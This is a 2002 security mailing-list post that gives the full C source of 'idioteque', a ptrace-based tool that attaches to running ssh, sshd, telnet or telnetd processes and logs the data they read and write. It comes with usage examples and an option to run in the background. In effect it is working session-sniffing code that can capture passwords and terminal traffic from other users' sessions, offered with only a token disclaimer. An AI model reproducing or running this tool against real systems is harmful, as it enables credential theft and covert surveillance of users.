[ Home | Liste | F.A.Q. | Risorse | Cerca... ]


[ Data: precedente | successivo | indice ] [ Argomento: precedente | successivo | indice ]


Archivio: Agosto 2002 ml@sikurezza.org
Soggetto: you can log ssh/telnet sessions (and sshd/telnetd childs..) using ptrace(2)
Mittente: xenion
Data: 28 Aug 2002 00:38:09 -0000
hi, have fun.

/*
 *
 * $Id: smokingtwojoints.c,v 0.2.public 2002/08/18 1:08:06 xenion Exp $
 *
 * ---------------------------------------------------------------------------
 * No part of this project may be used to break the law, or to cause damage of
 * any kind. And I'm not responsible for anything you do with it.
 * ---------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
 * <xenion@acidlife.com> wrote this file.  As long as you retain this notice
 * you can do whatever you want with this stuff. If we meet some day, and you
 * think this stuff is worth it, you can buy me a beer in return.
 * xenion ~ Dallachiesa Michele
 * ---------------------------------------------------------------------------
 */

/*
you can log ssh/telnet sessions (and sshd/telnetd childs..) using ptrace(2)

examples (try to change fd(s) if they won't work!):

ssh:        ./idioteque -p PID -d 5
sshd:       ./idioteque -p PID -d 7
in.telnetd: ./idioteque -p PID -d 0
telnet:     ./idioteque -p PID -d 1

greetz: darkangel
*/


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#define VERSION "0.2.public"

void            fatal(char *, ...);
void            init_opt(int, char **);
void            help();
void            sigdie(int);
void           *ttmemcpy(pid_t, unsigned char *, unsigned char *, size_t);
size_t          getmytime(char *, size_t, const char *);
void            printstatus(const char *format, ...);
int            *get_coma_options(unsigned char *);
int             pidexists(pid_t);

typedef struct {
    pid_t           pid;
    int             status,
                    mode,
                   *fds;
    int             background;
    FILE           *lfile;
    FILE           *sfile;
} OPT;

OPT             o;


int
main(int argc, char **argv)
{
    struct user_regs_struct data;
    unsigned char   buf[4096];
    int             i;

    init_opt(argc, argv);

    if (o.background)
	if (fork())
	    exit(0);

    printstatus("pid         : %d %s\n", getpid(),
		o.background ? "(Running in background)" : "");
    printstatus("ptraced pid : %d\n", o.pid);
    printstatus("fds         :%s", o.fds ? "" : " ALL");
    if (o.fds)
	for (i = 1; i < *o.fds; ++i)
	    fprintf(o.sfile, " %d", *(o.fds + i));
    fprintf(o.sfile, "\n");
    printstatus("\n");
    fflush(o.sfile);

    signal(SIGTERM, sigdie);
    signal(SIGINT, sigdie);
    signal(SIGQUIT, sigdie);
    signal(SIGHUP, sigdie);
    signal(SIGSEGV, sigdie);
    signal(SIGURG, SIG_IGN);

    if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0) {
	o.pid = 0;
	fatal("PTRACE_ATTACH failed");
    }

    o.mode = 1;
    printstatus("Listening..\n\n");

    while (1) {

	if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
	    fatal("PTRACE_SYSCALL failed");

	wait(&o.status);

	if (WSTOPSIG(o.status) != SIGTRAP) {
	    printstatus("Sending signal %d\n", WSTOPSIG(o.status));
	    ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
	}

	switch (o.mode) {

	case 1:
	    o.mode = 2;
	    // if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
	    // fatal("PTRACE_GETREGS failed");

	    // printf("started:\n");
	    // printf("eax: %8lx orig_eax: %8lx\n", data.eax,
	    // data.orig_eax);
	    // printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
	    // printf("edx: %8lx\n\n", data.edx);

	    break;

	case 2:
	    if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
		fatal("PTRACE_GETREGS failed");

	    // printf("returned:\n");
	    // printf("eax: %8lx orig_eax: %8lx\n", data.eax,
	    // data.orig_eax);
	    // printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
	    // printf("edx: %8lx\n\n", data.edx);

	    if (o.fds) {
		for (i = 1; i < *o.fds; ++i)
		    if (*(o.fds + i) == data.ebx)
			o.mode = 3;
	    } else
		o.mode = 3;

	    memset(buf, '\0', sizeof buf);

	    if ((data.orig_eax == __NR_read || data.orig_eax == __NR_write)
		&& o.mode == 3 && data.eax > 0) {
		if (ttmemcpy
		    (o.pid, buf, (unsigned char *) data.ecx,
		     data.eax) == NULL)
		    fatal("ttmemcpy()");
		buf[data.eax] = '\0';
		fprintf(o.lfile, "%s", buf);
		fflush(o.lfile);
	    }

	    o.mode = 1;
	    break;

	default:
	    fatal("Oops");
	    break;
	}

    }

    return 0;
}


void
init_opt(int argc, char **argv)
{
    int             c;

    o.pid = 0;
    o.fds = NULL;
    o.background = 0;
    o.sfile = o.lfile = stdout;

    while ((c = getopt(argc, argv, "p:d:s:l:bh")) != EOF)
	switch (c) {

	case 'p':
	    if ((o.pid = atoi(optarg)) == 0)
		fatal("Invalid process id");
	    if (!pidexists(o.pid)) {
		o.pid = 0;
		fatal("No such process");
	    }

	    break;

	case 'd':
	    o.fds = get_coma_options(optarg);
	    break;

	case 's':
	    o.sfile = fopen(optarg, "w");
	    if (o.sfile == NULL) {
		o.sfile = stdout;
		fatal("unable to open status file");
	    }
	    break;

	case 'l':
	    o.lfile = fopen(optarg, "w");
	    if (o.lfile == NULL)
		fatal("unable to open log file");
	    break;

	case 'b':
	    o.background = 1;
	    break;

	case 'h':
	    help();
	    break;

	default:
	    fatal("try -h");
	}

    if (o.pid == 0)
	fatal("pid needed");
}


void
fatal(char *pattern, ...)
{

    char            timebuf[20];
    va_list         ap;

    va_start(ap, pattern);
    getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");
    fprintf(o.sfile, "%s ", timebuf);
    vfprintf(o.sfile, pattern, ap);
    fprintf(o.sfile, "; exit forced.\n");
    va_end(ap);

    if (o.fds)
	free(o.fds);
    if (o.pid == 0)
	exit(0);

    sigdie(SIGTERM);
}


int            *
get_coma_options(unsigned char *s)
{
    unsigned char  *p,
                   *e;
    int            *arr;
    int             c;

    arr = malloc(sizeof(int));	// no. of entries

    for (p = s, *arr = 1; *p; ++*arr) {
	if ((e = index(p, (int) ',')) == NULL)
	    e = index(p, (int) '\0');
	c = *e;
	*e = '\0';
	realloc(arr, *arr * sizeof(int) + 1);
	*(arr + *arr) = atoi(p);
	*e = c;

	if (*arr == INT_MAX)
	    break;
	p = c ? ++e : e;
    }
    return arr;
}


void
help()
{
    printf("Idioteque v%s\n\n", VERSION);
    printf("USAGE: idioteque [options]\n\n");
    printf("-p pid                              pid to be traced\n");
    printf("-d fd1,fd2,fd3,..                   fd(s) to be logged\n");
    printf("-b                                  Run in background\n");
    printf("-s                                  Status file\n");
    printf("-l                                  fd(s) log file\n");
    printf("\n");

    exit(0);
}


void
sigdie(int signo)
{
    int             pid;

    if (o.sfile == o.lfile && o.pid > 0)
	fprintf(o.sfile, "\n");

    switch (signo) {
    case SIGURG:
	printstatus("caught SIGURG signal, cleaning up\n");
	break;
    case SIGPIPE:
	printstatus("caught SIGPIPE signal, cleaning up\n");
	break;
    case SIGQUIT:
	printstatus("caught SIGQUIT signal, cleaning up\n");
	break;
    case SIGINT:
	printstatus("caught SIGINT signal, cleaning up\n");
	break;
    case SIGTERM:
	printstatus("caught SIGTERM signal, cleaning up\n");
	break;
    case SIGHUP:
	printstatus("caught SIGHUP signal, cleaning up\n");
	break;
    case SIGSEGV:
	printstatus("caught SIGSEGV signal, cleaning up\n");
	break;
    case SIGBUS:
	printstatus("caught SIGBUS signal, cleaning up\n");
	break;
    default:
	printstatus("caught signal %d, cleaning up\n", signo);
	break;
    }

    if (o.pid != 0) {

	switch (pid = fork()) {

	case -1:
	    fatal("fork()");
	    break;

	case 0:		/* child process starts */
	    printstatus
		("sending a SIGCONT signal to the ptraced process\n");
	    if (kill(o.pid, SIGCONT) < 0) {
		o.pid = 0;
		fatal("kill()");
	    }
	    break;

	default:		/* parent process starts */
	    wait(&o.status);
	    if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
		printstatus("PTRACE_DETACH failed\n", o.pid);
	    printstatus("exited: %s\n", strerror(errno));
	    break;

	}

    }

    exit(0);

}


void           *
ttmemcpy(pid_t pid, unsigned char *dest, unsigned char *src, size_t count)
{
    size_t          off;
    long int        res;

    for (off = 0; off < count; off += sizeof(long int)) {
	res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
	if (errno > 0)
	    return NULL;
	else {
	    memcpy(dest + off, &res, sizeof(long int));
	    // printf("[%c][%c]", *(dest + off), *(dest + off + 1));
	    // printf("[%c][%c]\n", *(dest + off + 2), *(dest + off + 3));
	}
    }

    return dest;
}


void
printstatus(const char *format, ...)
{

    char            timebuf[20];

    va_list         ap;
    va_start(ap, format);

    getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");

    fprintf(o.sfile, "%s ", timebuf);
    vfprintf(o.sfile, format, ap);
    fflush(o.sfile);

    va_end(ap);

}


size_t
getmytime(char *s, size_t max, const char *format)
{

    time_t          t;
    struct tm      *mytm;
    size_t          z;

    time(&t);

    mytm = localtime(&t);

    z = strftime(s, max, format, mytm);

    return (z);

}


int
pidexists(pid_t pid)
{
    struct stat     buf;
    char            path[12];

    sprintf(path, "/proc/%d", pid);

    if (stat(path, &buf) < 0)
	return 0;
    return 1;

}

/*
 * this is the place for a little EOF 
 */


________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List




[ Home | Liste | F.A.Q. | Risorse | Cerca... ]

www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005